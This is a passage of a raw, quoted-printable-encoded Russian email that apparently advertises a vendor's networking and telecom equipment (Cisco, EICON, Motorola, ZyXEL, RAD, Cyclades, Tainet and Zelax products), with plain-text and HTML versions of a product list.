DSL-=EC=E0=F0=F8=F0=F3=F2=E8=E7=E0=F2=EE=F0=FB
  b.. Prestige 681 , Prestige 128L ,Prestige 153X
=C7=C5=CB=C0=D5 - =F0=EE=F1=F1=F1=E8=E9=F1=EA=E8=E5 =
=F0=E0=E7=F0=E0=E1=EE=F2=EA=E8 =
=F2=E5=EB=E5=EA=EE=EC=EC=F3=ED=E8=EA=E0=F6=E8=EE=ED=ED=EE=E3=EE =
=EE=E1=EE=F0=F3=E4=EE=E2=E0=ED=E8=FF

  a.. IDSL =EC=EE=E4=E5=EC=FB =E4=EB=FF =E2=FB=E4=E5=EB=E5=ED=ED=FB=F5 =
=F4=E8=E7=E8=F7=E5=F1=EA=E8=F5 =EB=E8=ED=E8=E9:
  b.. =CC-144 , =CC-144=C1 , =CC-64 .
  c.. =CC=EE=E4=E5=EC=FB =E4=EB=FF =E2=FB=E4=E5=EB=E5=ED=ED=FB=F5 =
=F4=E8=E7=E8=F7=E5=F1=EA=E8=F5 =EB=E8=ED=E8=E9 =E8 =
=EA=EE=ED=E2=E5=F0=F2=E5=F0=FB =E8=ED=F2=E5=F0=F4=E5=E9=F1=EE=E2
  d.. =CC-160 ,=CC-1 ,=CC-2 ,=CC-200 ,=CC-115=C4 ,=CA-713=C1 =
,=D0=E5=E3=E5=ED=E5=F0=E0=F2=EE=F0 =C7=E5=EB=E0=F5 PC-2 =
,=EA=EE=ED=E2=E5=F0=F2=E5=F0 =E8=ED=F2=E5=F0=F4=E5=E9=F1=EE=E2 EM-2
RAD
           =CC=F3=EB=FC=F2=E8=F1=E5=F0=E2=E8=F1=ED=FB=E5 =
TDM-=EC=F3=EB=FC=F2=E8=EF=EB=E5=EA=F1=EE=F0=FB =E8 =
=EA=EE=ED=F6=E5=ED=F2=F0=E0=F2=EE=F0=FB.
               RAD Megaplex 2100/2104 , RAD Kilomux 2000/2100 ,RAD =
DXC-30/10A/8R ,RAD Optimux - XLE1 ,RAD Optimux - 4E1 ,RAD HSM-4

  a.. =D3=F1=F2=F0=EE=E9=F1=F2=E2=E0 =E4=EE=F1=F2=F3=EF=E0 =EA =
=EA=E0=ED=E0=EB=E0=EC =F6=E8=F4=F0=EE=E2=EE=E9 =F1=E2=FF=E7=E8
  b.. RAD FCD-E1 , RAD FCD-2 ,RAD FCD-24
  c.. =CE=E1=EE=F0=F3=E4=EE=E2=E0=ED=E8=E5 Frame relay/X.25
  d.. RAD MAXcess 3000/3004 , RAD MAXcess 300/30 ,RAD APD-/2HS/8 , RAD =
APS-8/16/24 , SPS-2/2HS/3/3HS/3S/6/12
  e.. =CF=F0=E5=EE=E1=F0=E0=E7=EE=E2=E0=F2=E5=EB=E8 =F1=F0=E5=E4, =
=F1=EA=EE=F0=EE=F1=F2=E5=E9 =E8 =E8=ED=F2=E5=F0=F4=E5=E9=F1=EE=E2
  f.. RAD AMC-101 , RAD AMC-1 ,=CA=EE=ED=E2=E5=F0=F2=EE=F0=FB =
=E0=ED=E0=EB=EE=E3=EE=E2=FB=F5 =E3=EE=EB=EE=F1=EE=E2=FB=F5 =
=E8=ED=F2=E5=F0=F4=E5=E9=F1=EE=E2 RAD VSC, VSC-X
  g.. =C4=EE=F1=F2=F3=EF =EA =C0=D2=CC:RAD ACE-101
  h.. =D3=E4=E0=EB=E5=ED=ED=FB=E9 =E4=EE=F1=F2=F3=EF =EA =CB=C2=D1 =E8 =
Internet.
  i.. RAD WebRanger , RAD Tiny Bridge, Tiny Bridge - 4W ,RAD TinyRouter
  j.. =CC=EE=E4=E5=EC=FB "=EF=EE=F1=EB=E5=E4=ED=E5=E9 =
=EC=E8=EB=E8"=C0=F1=E8=ED=F5=F0=EE=ED=ED=FB=E5 =E8 =
=F1=E8=ED=F5=F0=EE=ED=ED=FB=E5 =EC=EE=E4=E5=EC=FB =E4=EB=FF =
=E2=FB=E4=E5=EB=E5=ED=ED=FB=F5 =EB=E8=ED=E8=E9 =
.=CE=EF=F2=EE=E2=EE=EB=EE=EA=EE=ED=ED=FB=E5 =EC=EE=E4=E5=EC=FB
CICLADES

  a.. =CC=ED=EE=E3=EE=EF=EE=F0=F2=EE=E2=FB=E5 =EA=E0=F0=F2=FB Cyclades =
Y-series , Cyclades Z-series
  b.. =D1=E5=F0=E2=E5=F0=FB =F3=E4=E0=EB=E5=ED=ED=EE=E3=EE =
=E4=EE=F1=F2=F3=EF=E0 Cyclades PR4000
  c.. =CC=E0=F0=F8=F0=F3=F2=E8=E7=E0=F2=EE=F0=FB: Cyclades PR3000/TS , =
Cyclades PathRouter
TAINET
=CF=F0=EE=F4=E5=F1=F1=E8=EE=ED=E0=EB=FC=ED=EE=E5 =
=EE=E1=EE=F0=F3=E4=EE=E2=E0=ED=E8=E5 =E4=EB=FF =
=E3=EB=EE=E1=E0=EB=FC=ED=FB=F5 =F1=E5=F2=E5=E9 =EF=E5=F0=E5=E4=E0=F7=E8 =
=E4=E0=ED=ED=FB=F5:=D2=E0inet T-288C V.34+ ,Tainet T-336Cx/Nx/NDx V.34+ =
,Tainet DT-128 ,Tainet TRS-32 SUPER SHELF , Tainet DT-2000 HDSL Series =
,Tainet Xstream 1300/1320/1310/1330 ,Tainet Mars 9000 DSL Concentrator =
,Tainet Mercury 3600 ,Tainet MUXpro 7100 ,Tainet WANpro 2000.
=CE=E3=F0=EE=EC=ED=FB=E9 =E2=FB=E1=EE=F0 =
=EF=F0=EE=F4=E5=F1=F1=E8=EE=ED=E0=EB=FC=ED=EE=E3=EE =
=EE=E1=EE=F0=F3=E4=EE=E2=E0=ED=E8=FF =E2 =F2=EE=EC =F7=E8=F1=EB=E5 =
=E1=E5=F1=EF=F0=EE=E2=EE=E4=ED=FB=F5 =F3=F1=F2=F0=EE=E9=F1=F2=E2.
=CC=FB =E2=F1=E5=E3=E4=E0 =E3=EE=F2=EE=E2=FB =EE=F2=E2=E5=F2=E8=F2=FC =
=ED=E0 =E2=F1=E5 =C2=E0=F8=E8 =E2=EE=EF=F0=EE=F1=FB, =
=F1=E2=FF=E7=E0=ED=ED=FB=E5 =F1 =E2=EE=E7=EC=EE=E6=ED=EE=F1=F2=FF=EC=E8 =
=EE=E1=EE=F0=F3=E4=EE=E2=E0=ED=E8=FF =E8 =EF=F0=EE=E1=EB=E5=EC=E0=EC=E8 =
=E5=E3=EE =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=E8 =E8 =
=EC=EE=E4=E5=F0=ED=E8=E7=E0=F6=E8=E8. =C8=ED=F2=E5=F0=E5=F1=ED=EE - =
=E7=E2=EE=ED=E8=F2=E5 =E8 =EF=E8=F8=E8=F2=E5 =ED=E0=EC!

E =96 mail:           v_potechin@diamond.ru





------=_NextPart_002_0026_01C105B7.C398A740
Content-Type: text/html;
	charset="windows-1251"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>=DF=F1=ED=FB=E9 =E4=E5=ED=FC</TITLE>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dwindows-1251"><BASE=20
href=3D"file://C:\Program Files\Common Files\Microsoft =
Shared\Stationery\">
<STYLE>BODY {
	MARGIN-TOP: 25px; FONT-SIZE: 10pt; MARGIN-LEFT: 10px; COLOR: #0033cc; =
FONT-FAMILY: Arial, Helvetica
}
</STYLE>

<META content=3D"MSHTML 5.50.4522.1800" name=3DGENERATOR></HEAD>
<BODY bgColor=3D#ffffff =
background=3Dcid:002301c10596$3c7ddf80$1f9efea9@boyoma>
<DIV><B><FONT face=3DArial><FONT=20
size=3D3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
=D3=E2=E0=E6=E0=E5=EC=FB=E5 =E3=EE=F1=EF=EE=E4=E0!</FONT></DIV>
<DIR>
<DIR>
<DIR></FONT><FONT color=3D#008000 size=3D2>
<P><FONT face=3D"Times New Roman">&nbsp;=CF=D0=C5=C4=CB=C0=C3=C0=C5=CC =
=D0=C5=D8=C5=CD=C8=DF =C8 =CE=C1=CE=D0=D3=C4=CE=C2=C0=CD=C8=C5 =CE=D2=20
=CA=D0=D3=CF=CD=C5=C9=D8=C5=C3=CE =D1=C8=D1=D2=C5=CC=CD=CE=C3=CE =
=C8=CD=D2=C5=C3=D0=C0=D2=CE=D0=C0</FONT></P>
<P><FONT=20
face=3D"Times New =
Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
=C4=CB=DF =CF=CE=D1=D2=D0=CE=C5=CD=C8=DF =CB=CE=CA=C0=CB=DC=CD=DB=D5 =C8 =
=E8 </FONT></FONT><FONT face=3D"Times New Roman"><FONT=20
color=3D#008000 size=3D2>WAN</FONT><FONT color=3D#008000 size=3D2> =
=D1=C5=D2=C5=C9</FONT><FONT=20
color=3D#008000 size=3D2> .</P></DIR></DIR></DIR></FONT></FONT><FONT =
color=3D#0000ff=20
size=3D2>
<P align=3Djustify>Cisco Sistems =96</B></FONT><FONT face=3D"Times New =
Roman"=20
color=3D#000000 size=3D2>=EE=F2</FONT><FONT color=3D#0000ff size=3D2> =
</FONT><FONT=20
size=3D2><FONT face=3D"Times New Roman" =
color=3D#000000>=EC=E8=F0=EE=E2=EE=E3=EE =EB=E8=E4=E5=F0=E0 =E2 =
=EE=E1=EB=E0=F1=F2=E8=20
=F1=E5=F2=E5=E2=FB=F5 =F2=E5=F5=ED=EE=EB=EE=E3=E8=E9, =
=EF=F0=E5=E4=ED=E0=E7=ED=E0=F7=E5=ED=ED=FB=F5 =E4=EB=FF =F1=E5=F2=E8 =
=C8=ED=F2=E5=F0=ED=E5=F2</FONT></P>
<UL><B>
  <P align=3Djustify><FONT face=3D"Times New Roman" =
color=3D#000000></FONT>
  <LI><FONT face=3D"Times New =
Roman">=E2=FB=F1=EE=EA=EE=EF=F0=EE=E8=E7=E2=EE=E4=E8=F2=E5=EB=FC=ED=FB=E5=
 =EC=E0=F0=F8=F0=F3=F2=E8=E7=E0=F2=EE=F0=FB=20
  =F1=E5=F0=E8=E8</FONT></B><FONT face=3D"Times New Roman"> -12000 =
,-7500 ,-7200 =E8=20
  =E4=F0.</FONT></LI>
  <LI><B><FONT face=3D"Times New =
Roman">=EA=EE=EC=EC=F3=F2=E0=F2=EE=F0=FB </FONT></FONT><FONT=20
  size=3D2><FONT face=3D"Times New Roman">LAN</FONT></B></FONT><FONT=20
  face=3D"Times New Roman" size=3D2> =F1=E5=F0=E8=E8 -</FONT><FONT =
size=3D2><FONT=20
  face=3D"Times New Roman">Catalist</FONT></FONT></LI>
  <LI><B><FONT size=3D2><FONT face=3D"Times New =
Roman">=EA=EE=EC=EC=F3=F2=E0=F2=EE=F0=FB=20
  </FONT></FONT><FONT size=3D2><FONT=20
  face=3D"Times New Roman">WAN</FONT></B></FONT><FONT face=3D"Times New =
Roman"=20
  size=3D2> =F1=E5=F0=E8=E8 -</FONT><FONT size=3D2><FONT face=3D"Times =
New Roman">IGX=20
  8400,BPX8600,MGX8800</FONT></FONT></LI>
  <LI><B><FONT size=3D2><FONT face=3D"Times New =
Roman">=F3=F1=F2=F0=EE=E9=F1=F2=E2=E0=20
  =E4=EE=F1=F2=F3=EF=E0</FONT></B><FONT face=3D"Times New Roman"> =
=F1=E5=F0=E8=E9=20
  =961000,1600,2500,2600/3600,3800,4000</FONT></LI>
  <P><FONT face=3D"Times New Roman"></FONT></P></UL></FONT><B><FONT =
color=3D#0000ff=20
size=3D2>
<P align=3Djustify>EICON Technology</P>
<UL></FONT><FONT size=3D2>
  <P align=3Djustify><FONT face=3D"Times New Roman"></FONT>
  <LI><FONT face=3D"Times New =
Roman">=CA=EE=EC=EC=F3=ED=E8=EA=E0=F6=E8=EE=ED=ED=FB=E5 =
=EA=EE=ED=F2=F0=EE=EB=EB=E5=F0=FB =E4=EB=FF =F1=E5=F2=E5=E9=20
  </FONT></FONT><FONT size=3D2><FONT face=3D"Times New Roman">Frame=20
  Relay/X25/SDLS</FONT></FONT></LI>
  <LI><FONT size=3D2></B>EICONCard</FONT><FONT face=3D"Times New Roman"=20
  size=3D2>=F1=E5=F0=E8=E9</FONT><FONT=20
  =
size=3D2>C20/21,C30/31/S50/S51/S52/S90/S91/S94/P62/P92/C90/C91</FONT></LI=
>
  <LI><B><FONT size=3D2><FONT face=3D"Times New =
Roman">=D1=E5=F2=E5=E2=EE=E5 =EE=E1=EE=F0=F3=E4=EE=E2=E0=ED=E8=E5 =
=E4=EB=FF=20
  =EA=E0=ED=E0=EB=EE=E2 ISDN =E8 </FONT></FONT><FONT face=3D"Times New =
Roman"=20
  size=3D2>ADSL</FONT><FONT size=3D2><FONT face=3D"Times New Roman"> =
=E8=ED=F2=E5=F0=F4=E5=E9=F1=ED=FB=E5=20
  =EA=E0=F0=F2=FB, =
=EC=E0=F0=F8=F0=F3=F2=E8=E7=E0=F2=EE=F0=FB.</FONT></FONT></LI>
  <LI><FONT size=3D2></B></FONT><FONT size=3D2>EICON DIVA T/A , ISD =
modem ,ISDN USB=20
  ,ISDN Card,ISDN PRO Card ,Server BRI ,Server 4BRI ,Server Voice 4BRI =
,Server=20
  PRI ,Mobile V.90 PC Card ,LAN ISDN Modem ,ASDL USB ,1830 ISDN Router =
,2430=20
  Eternet ,USB ADSL Modem</FONT></LI>
  <LI><B><FONT size=3D2><FONT face=3D"Times New =
Roman">=D0=E5=F8=E5=ED=E8=FF =E4=EB=FF=20
  </FONT></FONT><FONT size=3D2><FONT=20
face=3D"Times New Roman">SNA:</FONT></FONT></LI>
  <LI><FONT size=3D2></B>AVIVA Mainframe Edition (</FONT><FONT=20
  face=3D"Times New Roman" size=3D2>=C4=EE=F1=F2=F3=EF</FONT><FONT =
size=3D2> </FONT><FONT=20
  face=3D"Times New Roman" size=3D2>=EA</FONT><FONT size=3D2> =
</FONT><FONT=20
  face=3D"Times New Roman" size=3D2>=F5=EE=F1=F2</FONT><FONT =
size=3D2>-</FONT><FONT=20
  face=3D"Times New Roman" =
size=3D2>=EA=EE=EC=EF=FC=FE=F2=E5=F0=F3</FONT><FONT size=3D2> =
</FONT><FONT=20
  face=3D"Times New Roman" size=3D2>=E4=EB=FF</FONT><FONT size=3D2> =
WINDOWS NT </FONT><FONT=20
  face=3D"Times New Roman" size=3D2>=E8</FONT><FONT size=3D2> WINDOWS =
95) , Enterprise=20
  Access Server</LI></UL></FONT><B><FONT color=3D#0000ff size=3D2>
<P align=3Djustify>Motorolla</P>
<UL></FONT><FONT size=3D2>
  <P align=3Djustify><FONT face=3D"Times New Roman"></FONT>
  <LI><FONT face=3D"Times New =
Roman">=CC=F3=EB=FC=F2=E8=F1=E5=F0=E2=E8=F1=ED=FB=E5 =
=EA=EE=EC=EC=F3=F2=E0=F2=EE=F0=FB=20
  </FONT></FONT><FONT face=3D"Times New Roman" size=3D2>Frame =
Relay</FONT><FONT=20
  size=3D2><FONT face=3D"Times New Roman"> =
=F1=E5=F0=E8=E8</FONT></FONT></LI>
  <LI><FONT size=3D2></B></FONT><FONT size=3D2>Vanguard 8500, 6560/6520, =

  6425/6430/6450, 305/320, 311/312, 200, 100, Remote VU ,6500 Plus =
Regional=20
  Concentrator</FONT></LI>
  <LI><B><FONT size=3D2><FONT face=3D"Times New =
Roman">=D1=E8=F1=F2=E5=EC=FB</FONT></FONT><FONT=20
  face=3D"Times New Roman"><FONT size=3D2> </FONT><FONT=20
  size=3D2>=F3=EF=F0=E0=E2=EB=E5=ED=E8=FF</FONT></FONT><FONT =
size=3D2><FONT face=3D"Times New Roman">:=20
  </FONT></B><FONT face=3D"Times New Roman">9000 Open Management=20
  System</FONT></FONT></LI>
  <LI><B><FONT size=3D2><FONT face=3D"Times New =
Roman">=CA=E0=ED=E0=EB=EE=EE=E1=F0=E0=E7=F3=FE=F9=E5=E5=20
  =EE=E1=EE=F0=F3=E4=EE=E2=E0=ED=E8=E5: </FONT></B></FONT><FONT =
face=3D"Times New Roman"><FONT=20
  size=3D2>Codex 326x</FONT><FONT size=3D2> =F1=E5=F0=E8=E8 , 3460 =
</FONT></FONT><FONT=20
  size=3D2><FONT face=3D"Times New Roman">Fast*R</FONT></LI>
  <P><FONT face=3D"Times New Roman"></FONT></P></UL></FONT><B><FONT =
color=3D#0000ff=20
size=3D2>
<P align=3Djustify>PAIRGAIN</P>
<P=20
align=3Djustify>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;=20
</B></FONT><FONT size=3D2>Campus , Megabit Access ,Megabit-CRA modems =
,Megabit 300=20
series ,Megabit modems 700F/600L/500L ,</FONT></P>
<P align=3Djustify><FONT=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p; AVIDIA=20
Systems ,<STRONG>High Gain ETSI</STRONG> , <STRONG>HighGain&nbsp; =
*98</STRONG>=20
,PG-2/PG-Plus/PG-Flex</FONT></P>
<P align=3Djustify><B><FONT color=3D#0000ff size=3D2>ZYXEL</P>
<UL></FONT><FONT size=3D2>
  <P align=3Djustify><FONT face=3D"Times New Roman"></FONT>
  <LI><FONT face=3D"Times New =
Roman">=D3=ED=E8=E2=E5=F0=F1=E0=EB=FC=ED=FB=E5 =E8 </FONT></FONT><FONT=20
  face=3D"Times New Roman" size=3D2>DSL</FONT><FONT size=3D2><FONT=20
  face=3D"Times New =
Roman">-=EC=E0=F0=F8=F0=F3=F2=E8=E7=E0=F2=EE=F0=FB</FONT></FONT></LI>
  <LI><FONT size=3D2></B></FONT><FONT size=3D2>Prestige 681 , Prestige =
128L=20
  ,Prestige 153X</FONT></LI></UL>
<DIV><FONT face=3D"Times New Roman" color=3D#0000ff =
size=3D2><STRONG>=C7=C5=CB=C0=D5 -=20
</STRONG></FONT><FONT face=3D"Times New Roman" size=3D2><FONT=20
color=3D#008000><STRONG>=F0=EE=F1=F1=F1=E8=E9=F1=EA=E8=E5 =
=F0=E0=E7=F0=E0=E1=EE=F2=EA=E8 =
=F2=E5=EB=E5=EA=EE=EC=EC=F3=ED=E8=EA=E0=F6=E8=EE=ED=ED=EE=E3=EE=20
=EE=E1=EE=F0=F3=E4=EE=E2=E0=ED=E8=FF</STRONG></FONT></DIV>
<UL></FONT><B><FONT size=3D2>
  <P align=3Djustify><FONT color=3D#000000></FONT>
  <LI>IDSL</FONT><FONT size=3D2><FONT face=3D"Times New Roman"> =
=EC=EE=E4=E5=EC=FB =E4=EB=FF=20
  =E2=FB=E4=E5=EB=E5=ED=ED=FB=F5 =F4=E8=E7=E8=F7=E5=F1=EA=E8=F5 =
=EB=E8=ED=E8=E9:</FONT></FONT></LI>
  <LI><FONT size=3D2></B><FONT face=3D"Times New Roman">=CC-144 , =
=CC-144=C1 , =CC-64=20
  .</FONT></FONT></LI>
  <LI><FONT size=3D2><B><FONT face=3D"Times New =
Roman">=CC=EE=E4=E5=EC=FB =E4=EB=FF =E2=FB=E4=E5=EB=E5=ED=ED=FB=F5=20
  =F4=E8=E7=E8=F7=E5=F1=EA=E8=F5 =EB=E8=ED=E8=E9 =E8 =
=EA=EE=ED=E2=E5=F0=F2=E5=F0=FB =
=E8=ED=F2=E5=F0=F4=E5=E9=F1=EE=E2</FONT></LI>
  <LI></B><FONT face=3D"Times New Roman">=CC-160 ,=CC-1 ,=CC-2 ,=CC-200 =
,=CC-115=C4 ,=CA-713=C1=20
  ,=D0=E5=E3=E5=ED=E5=F0=E0=F2=EE=F0 =C7=E5=EB=E0=F5 </FONT></FONT><FONT =
face=3D"Times New Roman"><FONT=20
  size=3D2>PC</FONT><FONT size=3D2>-2 ,=EA=EE=ED=E2=E5=F0=F2=E5=F0 =
=E8=ED=F2=E5=F0=F4=E5=E9=F1=EE=E2 </FONT><FONT=20
  size=3D2>EM-2</FONT></FONT></LI></UL>
<DIV><B><FONT color=3D#0000ff size=3D2>RAD</FONT></B></DIV>
<DIV><B><FONT=20
color=3D#0000ff>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;=20
</FONT><FONT size=3D2><FONT face=3D"Times New =
Roman">=CC=F3=EB=FC=F2=E8=F1=E5=F0=E2=E8=F1=ED=FB=E5=20
</FONT></FONT><FONT face=3D"Times New Roman" size=3D2>TDM</FONT><FONT =
size=3D2><FONT=20
face=3D"Times New Roman">-=EC=F3=EB=FC=F2=E8=EF=EB=E5=EA=F1=EE=F0=FB =E8 =
=EA=EE=ED=F6=E5=ED=F2=F0=E0=F2=EE=F0=FB.</FONT></FONT></B></DIV>
<DIV><B><FONT size=3D2><FONT=20
face=3D"Times New =
Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;=20
</FONT></B></FONT><FONT size=3D2>RAD Megaplex 2100/2104 , RAD Kilomux =
2000/2100=20
,RAD DXC-30/10A/8R ,RAD Optimux - XLE1 ,RAD Optimux - 4E1 ,RAD =
HSM-4</DIV>
<UL></FONT><B><FONT face=3D"Times New Roman" size=3D2>
  <P align=3Djustify>
  <LI>=D3=F1=F2=F0=EE=E9=F1=F2=E2=E0 =E4=EE=F1=F2=F3=EF=E0 =EA =
=EA=E0=ED=E0=EB=E0=EC =F6=E8=F4=F0=EE=E2=EE=E9 =F1=E2=FF=E7=E8</LI>
  <LI></B></FONT><FONT size=3D2>RAD FCD-E1 , RAD FCD-2 ,RAD =
FCD-24</FONT></LI>
  <LI><B><FONT size=3D2><FONT face=3D"Times New =
Roman">=CE=E1=EE=F0=F3=E4=EE=E2=E0=ED=E8=E5=20
  </FONT></FONT><FONT size=3D2><FONT face=3D"Times New Roman">Frame=20
  relay/X.25</FONT></FONT></LI>
  <LI><FONT size=3D2></B>RAD MAXcess 3000/3004 , RAD MAXcess 300/30 ,RAD =

  APD-/2HS/8 , RAD APS-8/16/24 , SPS-2/2HS/3/3HS/3S/6/12</FONT></LI>
  <LI><B><FONT face=3D"Times New Roman" =
size=3D2>=CF=F0=E5=EE=E1=F0=E0=E7=EE=E2=E0=F2=E5=EB=E8 =F1=F0=E5=E4, =
=F1=EA=EE=F0=EE=F1=F2=E5=E9 =E8=20
  =E8=ED=F2=E5=F0=F4=E5=E9=F1=EE=E2</LI>
  <LI></B></FONT><FONT size=3D2>RAD AMC-101 , RAD AMC-1 ,</FONT><B><FONT =

  face=3D"Times New Roman" size=3D2>=CA=EE=ED=E2=E5=F0=F2=EE=F0=FB =
=E0=ED=E0=EB=EE=E3=EE=E2=FB=F5 =E3=EE=EB=EE=F1=EE=E2=FB=F5 =
=E8=ED=F2=E5=F0=F4=E5=E9=F1=EE=E2=20
  </FONT><FONT size=3D2>RAD VSC, VSC-X</FONT></B></LI>
  <LI><B><FONT size=3D2><FONT face=3D"Times New =
Roman">=C4=EE=F1=F2=F3=EF =EA=20
  =C0=D2=CC:</FONT></B></FONT><FONT size=3D2><FONT face=3D"Times New =
Roman">RAD=20
  ACE-101</FONT></FONT></LI>
  <LI><B><FONT size=3D2><FONT face=3D"Times New =
Roman">=D3=E4=E0=EB=E5=ED=ED=FB=E9 =E4=EE=F1=F2=F3=EF =EA =CB=C2=D1 =E8=20
  </FONT></FONT><FONT size=3D2><FONT=20
  face=3D"Times New Roman">Internet.</FONT></FONT></LI>
  <LI><FONT size=3D2></B>RAD WebRanger , RAD Tiny Bridge, Tiny Bridge - =
4W ,RAD=20
  TinyRouter</FONT></LI>
  <LI><B><FONT face=3D"Times New Roman" size=3D2>=CC=EE=E4=E5=EC=FB =
"=EF=EE=F1=EB=E5=E4=ED=E5=E9=20
  =EC=E8=EB=E8"</B>=C0=F1=E8=ED=F5=F0=EE=ED=ED=FB=E5 =E8 =
=F1=E8=ED=F5=F0=EE=ED=ED=FB=E5 =EC=EE=E4=E5=EC=FB =E4=EB=FF =
=E2=FB=E4=E5=EB=E5=ED=ED=FB=F5 =EB=E8=ED=E8=E9 =
.=CE=EF=F2=EE=E2=EE=EB=EE=EA=EE=ED=ED=FB=E5=20
  =EC=EE=E4=E5=EC=FB</LI></UL>
<DIV></FONT><B><FONT color=3D#0000ff size=3D2>CICLADES</DIV>
<UL></FONT><FONT size=3D2>
  <P align=3Djustify><FONT face=3D"Times New Roman"></FONT>
  <LI><FONT face=3D"Times New =
Roman">=CC=ED=EE=E3=EE=EF=EE=F0=F2=EE=E2=FB=E5 =EA=E0=F0=F2=FB =
</FONT></B></FONT><FONT=20
  size=3D2><FONT face=3D"Times New Roman">Cyclades Y-series , Cyclades=20
  Z-series</FONT></FONT></LI>
  <LI><B><FONT size=3D2><FONT face=3D"Times New =
Roman">=D1=E5=F0=E2=E5=F0=FB =F3=E4=E0=EB=E5=ED=ED=EE=E3=EE =
=E4=EE=F1=F2=F3=EF=E0=20
  </FONT></B></FONT><FONT size=3D2><FONT face=3D"Times New =
Roman">Cyclades=20
  PR4000</FONT></FONT></LI>
  <LI><A =
href=3D"http://www.diamond.ru/network/eq/cyclades/cyc_routers.html"><FONT=
=20
  size=3D2><FONT face=3D"Times New =
Roman"><STRONG>=CC</STRONG></FONT></FONT></A><FONT=20
  face=3D"Times New Roman" =
size=3D2><STRONG>=E0=F0=F8=F0=F3=F2=E8=E7=E0=F2=EE=F0=FB</STRONG></FONT><=
FONT=20
  size=3D2><STRONG>: </STRONG>Cyclades PR3000/TS , Cyclades=20
PathRouter</FONT></LI></UL>
<DIV><B><FONT color=3D#0000ff size=3D2>TAINET</FONT></B></DIV>
<DIV><B><FONT size=3D2><FONT=20
face=3D"Times New =
Roman">=CF=F0=EE=F4=E5=F1=F1=E8=EE=ED=E0=EB=FC=ED=EE=E5</FONT></FONT><FON=
T=20
face=3D"Times New Roman"><FONT size=3D2> </FONT><FONT=20
size=3D2>=EE=E1=EE=F0=F3=E4=EE=E2=E0=ED=E8=E5</FONT><FONT size=3D2> =
</FONT><FONT size=3D2>=E4=EB=FF</FONT><FONT=20
size=3D2> </FONT><FONT =
size=3D2>=E3=EB=EE=E1=E0=EB=FC=ED=FB=F5</FONT><FONT size=3D2> =
</FONT><FONT=20
size=3D2>=F1=E5=F2=E5=E9</FONT><FONT size=3D2> </FONT><FONT =
size=3D2>=EF=E5=F0=E5=E4=E0=F7=E8</FONT><FONT=20
size=3D2> </FONT><FONT size=3D2>=E4=E0=ED=ED=FB=F5</FONT><FONT =
size=3D2>:</B></FONT><FONT=20
size=3D2>=D2=E0</FONT></FONT><FONT size=3D2><FONT face=3D"Times New =
Roman">inet T-288C=20
V.34+ ,Tainet T-336Cx/Nx/NDx V.34+ ,Tainet DT-128 ,Tainet TRS-32 SUPER =
SHELF ,=20
Tainet DT-2000 HDSL Series ,</FONT>Tainet Xstream 1300/1320/1310/1330 =
,Tainet=20
Mars 9000 DSL Concentrator ,Tainet Mercury 3600 ,Tainet MUXpro 7100 =
,Tainet=20
WANpro 2000.</FONT></DIV>
<DIV><I><FONT size=3D2><FONT size=3D3><FONT face=3D"Times New =
Roman"><STRONG><FONT=20
color=3D#008000><U>=CE=E3=F0=EE=EC=ED=FB=E9 =E2=FB=E1=EE=F0 =
=EF=F0=EE=F4=E5=F1=F1=E8=EE=ED=E0=EB=FC=ED=EE=E3=EE =
=EE=E1=EE=F0=F3=E4=EE=E2=E0=ED=E8=FF =E2 =F2=EE=EC =F7=E8=F1=EB=E5=20
=E1=E5=F1=EF=F0=EE=E2=EE=E4=ED=FB=F5 =
=F3=F1=F2=F0=EE=E9=F1=F2=E2</U></FONT>.</STRONG></FONT></FONT></DIV>
<DIR>
<DIR></FONT><FONT face=3DArial size=3D2>
<P align=3Djustify><STRONG>=CC=FB </STRONG></FONT><FONT face=3D"Times =
New Roman"=20
size=3D2><STRONG>=E2=F1=E5=E3=E4=E0 =E3=EE=F2=EE=E2=FB =
=EE=F2=E2=E5=F2=E8=F2=FC =ED=E0 =E2=F1=E5 =C2=E0=F8=E8 =
=E2=EE=EF=F0=EE=F1=FB, =F1=E2=FF=E7=E0=ED=ED=FB=E5 =F1=20
